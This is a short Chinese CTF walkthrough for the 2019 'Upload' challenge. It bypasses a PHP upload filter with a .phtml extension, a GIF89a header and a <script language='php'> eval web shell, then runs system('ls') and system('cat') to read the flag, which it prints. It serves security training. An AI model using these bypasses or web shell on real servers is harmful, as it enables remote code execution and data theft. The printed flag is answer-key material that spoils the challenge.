[极客大挑战 2019]Upload 1

打开靶机,发现php后缀被过滤且发现没有文件包含漏洞

发现.phtml能绕过后缀检测,又显示没有图片
//PHTML 扩展名是 PHP 的一个模块,它允许在 HTML 文件中使用 PHP 代码,并且可以将 PHP 代码和 HTML 代码合并到一个文件中。

尝试在图片中加入gif文件头GIF89a发现能成功上传

尝试写入后门代码显示<?被过滤

我们尝试另一种写法来绕过

<script language="php">eval($_POST['cmd']);</script>

成功上传

访问/upload/1.phtml post提交cmd=system('ls ../../../../');找到flag位置
查找flagcmd=system('cat ../../../../flag');

flag{5d4065a9-9875-4a66-a553-dad8d627e8b3}